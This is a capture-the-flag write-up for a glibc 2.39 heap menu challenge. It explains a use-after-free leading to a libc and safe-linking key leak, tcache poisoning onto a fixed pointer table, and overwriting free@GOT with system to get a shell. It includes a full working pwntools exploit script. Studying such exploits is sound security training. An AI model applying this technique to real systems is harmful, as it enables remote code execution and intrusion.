$ cat writeup.md…
$ cat writeup.md…
sunshinectf2026
Task: glibc 2.39 heap menu (wallet manager) with a Use-After-Free in Transfer that copies a just-freed ledger pointer to another active wallet. Solution: UAF leak of main_arena (libc) and of the safe-linking mangle key, then tcache poisoning of the fixed No-PIE wallets[] table to forge fake structs, overwrite free@GOT with system, and trigger free("/bin/sh").
Your coins, our heap. The books haven't been audited... yet.
nc chal.sunshinectf.games 26004
An interactive "crypto wallet manager" heap menu binary. glibc 2.39 (Ubuntu 2.39-0ubuntu8.3). The goal is to get RCE and read the flag. The wordplay is deliberate: "Cache Money" = tcache, "our heap" = heap challenge, "books haven't been audited" = a stale/dangling reference (UAF).
0x400000), Partial RELRO (GOT writable at fixed 0x404000), NX, stack canary, FORTIFY.fd is stored mangled as (chunk_addr >> 12) ^ next. Forging a poisoned fd therefore requires knowing the per-run heap mangle key chunk_addr >> 12.Wallet struct is 0x30 bytes, allocated with calloc. There is a global table wallets[16] at the fixed address 0x4040c0:
| offset | field |
|---|---|
| +0x00 | name[16] (fgets 16) |
| +0x10 | balance |
| +0x18 | ledger pointer (malloc) |
| +0x20 | ledger size |
| +0x28 | active flag (int) |
0x4015b0): calloc(0x30); fgets name; strtol size; size clamped to [0x20..0x100] else default 0x80; malloc(size); memset(ledger, 0, size); active = 1.0x4017d0): read(0, ledger, size) — no memset.0x4018a0): write(1, ledger, size) — leak primitive.0x401a10): the bug (below).0x401b60): free(ledger) then free(struct); wallets[i] = 0.0x401c90): prints entries.Transfer does:
free(src->ledger); dst->ledger = src->ledger; // just-freed pointer, NOT nulled dst->size = src->size; dst->balance += src->balance; // then it zeroes only the SOURCE fields (balance/ledger/size/active)
The destination wallet stays active while holding a dangling pointer to a freed chunk. This yields:
write(1, freed_chunk, size)).read(0, freed_chunk, size)), i.e. tcache fd poisoning.Four phases. Chunk sizing: request 0x100 → chunk 0x110; request 0xf0 → chunk 0x100.
Open 9 wallets of request size 0x100. Close 7 to fill tcache[0x110] (max 7). Transfer wallet7 → wallet8: because tcache is full, the freed chunk goes to the unsorted bin, so its fd/bk point into main_arena. wallet8 keeps the dangling pointer. UAF-Withdraw wallet8 leaks a main_arena pointer; libc_base = leaked - 0x203b20 for this libc build.
Open two wallets A, B of request 0xf0. Transfer A → B frees chunkA while it is the sole entry in tcache[0x100], so its stored fd = mangle(NULL) = chunkA >> 12. UAF-Withdraw B recovers the mangle key chunkA >> 12 directly. This is the intended lesson: safe-linking does not protect a tcache that leaks its own mangling key through a UAF read.
Open's memset zeroes any freshly allocated ledger, so we cannot make an allocation land directly on the GOT (memset would wipe it). Instead we target the fixed, No-PIE wallets[] table at 0x4040c0.
Arrange chunkA to be the HEAD of tcache[0x100] with count = 2:
Use dangling wallet B (UAF-write via Deposit) to set chunkA.fd = key ^ 0x4040c0. Then allocate twice: first Open returns chunkA, second Open returns a ledger pointing at wallets[] (0x4040c0). The count = 2 is required so the second malloc still passes the tcache counts > 0 gate.
Deposit into the wallet whose ledger == wallets[] array rewrites the global pointer table and lays two fake wallet structs inside the same write window:
ledger = free@GOT (arbitrary write target),ledger → an in-window "/bin/sh" string.Deposit system's address into the fake wallet whose ledger is free@GOT (Deposit uses read(), no memset), overwriting free@GOT with system. Then Close the fake wallet whose ledger is "/bin/sh" → free("/bin/sh") becomes system("/bin/sh") → shell. Read the flag (sun{REDACTED}).
#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' exe = ELF('./cache_money', checksec=False) libc = ELF('./libc.so.6', checksec=False) # pwntools strips uppercase argv tokens; toggle remote via args.REMOTE REMOTE = bool(args.REMOTE) def start(): if REMOTE: return remote('chal.sunshinectf.games', 26004) return process(['./ld-linux-x86-64.so.2', '--library-path', '.', './cache_money']) p = start() def menu(c): p.recvuntil(b'>>> '); p.sendline(str(c).encode()) def open_wallet(name, size): menu(1) p.recvuntil(b'Wallet name: '); p.sendline(name) p.recvuntil(b': '); p.sendline(str(size).encode()) def deposit(idx, data): menu(2) p.recvuntil(b'(0-'); p.recvuntil(b': '); p.sendline(str(idx).encode()) p.recvuntil(b'Enter transaction data: '); p.send(data) def withdraw(idx): menu(3) p.recvuntil(b'(0-'); p.recvuntil(b': '); p.sendline(str(idx).encode()) p.recvuntil(b'bytes):\n ') return p.recvuntil(b'\n[+] Current balance', drop=True) def transfer(s, d): menu(4) p.recvuntil(b'FROM'); p.recvuntil(b': '); p.sendline(str(s).encode()) p.recvuntil(b'TO'); p.recvuntil(b': '); p.sendline(str(d).encode()) def close(idx): menu(5) p.recvuntil(b'(0-'); p.recvuntil(b': '); p.sendline(str(idx).encode()) WALLETS = 0x4040c0 free_got = exe.got['free'] SZ = 0xf0 # request 0xf0 -> chunk 0x100 # ---- Phase 1: libc leak (bin 0x110) ---- for i in range(9): open_wallet(b'W%d' % i, 0x100) # slots 0..8 for i in range(7): close(i) # fill tcache[0x110] transfer(7, 8) # freed chunk -> unsorted bin; slot8 dangles main_arena_fd = u64(withdraw(8)[:8].ljust(8, b'\x00')) libc.address = main_arena_fd - 0x203b20 assert (libc.address & 0xfff) == 0 system = libc.symbols['system'] log.success('libc = %#x system = %#x' % (libc.address, system)) # free slots now: 0..6 # ---- Phase 2: heap safe-linking key (bin 0x100) ---- open_wallet(b'A', SZ) # slot 0 -> chunkA open_wallet(b'B', SZ) # slot 1 -> chunkB transfer(0, 1) # free chunkA SOLE (count 1); slot1(B) dangles chunkA KEY = u64(withdraw(1)[:8].ljust(8, b'\x00')) # chunkA >> 12 log.success('mangle key (chunkA>>12) = %#x' % KEY) open_wallet(b'C', SZ) # slot 2 -> reallocates chunkA; B still dangles chunkA open_wallet(b'D', SZ) # slot 3 -> chunkD (fresh) close(3) # free chunkD (count 1, head=chunkD) close(2) # free chunkA (count 2, head=chunkA -> chunkD) deposit(1, p64(KEY ^ WALLETS)) # UAF-write: chunkA.fd = mangled(WALLETS) open_wallet(b'E', SZ) # slot 2 -> chunkA (memset ok) open_wallet(b'F', SZ) # slot 3 -> ledger == WALLETS (memset zeros the window) # ---- Phase 3/4: rewrite wallet table + fake structs ---- FAKE1 = WALLETS + 0x80 # write-primitive struct (ledger = free@GOT) FAKE2 = WALLETS + 0xb0 # trigger struct (ledger -> "/bin/sh") BINSH = WALLETS + 0xe8 def mk_struct(ledger, size, active=1, name=b''): s = name.ljust(16, b'\x00') s += p64(0) s += p64(ledger) s += p64(size) s += p32(active) + p32(0) return s buf = bytearray(SZ) slots = [0] * 16 slots[5] = FAKE1 slots[6] = FAKE2 for i, v in enumerate(slots): buf[i*8:i*8+8] = p64(v) buf[0x80:0x80+0x30] = mk_struct(free_got, 8) buf[0xb0:0xb0+0x30] = mk_struct(BINSH, 8) buf[0xe8:0xe8+8] = b'/bin/sh\x00' deposit(3, bytes(buf)) # slot3 (F) ledger == WALLETS deposit(5, p64(system)) # wallet[5].ledger == free@GOT -> free@GOT = system close(6) # free(wallet[6].ledger == "/bin/sh") == system("/bin/sh") p.sendline(b'cat flag.txt /flag* 2>/dev/null') p.interactive()
Use this technique when:
fd — but a UAF read primitive exists, so you can leak the mangle key chunk>>12 directly (free a chunk while it is the sole tcache entry, its fd = mangle(NULL) = chunk>>12).memsets freshly returned chunks you cannot target the GOT directly — poison the tcache to land on the fixed pointer table and forge fake objects there instead.counts > 0 gate means you must poison the HEAD chunk with count >= 2 so the second malloc actually returns your forged target.main_arena (libc) leak via a UAF read.args.REMOTE to toggle local/remote.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar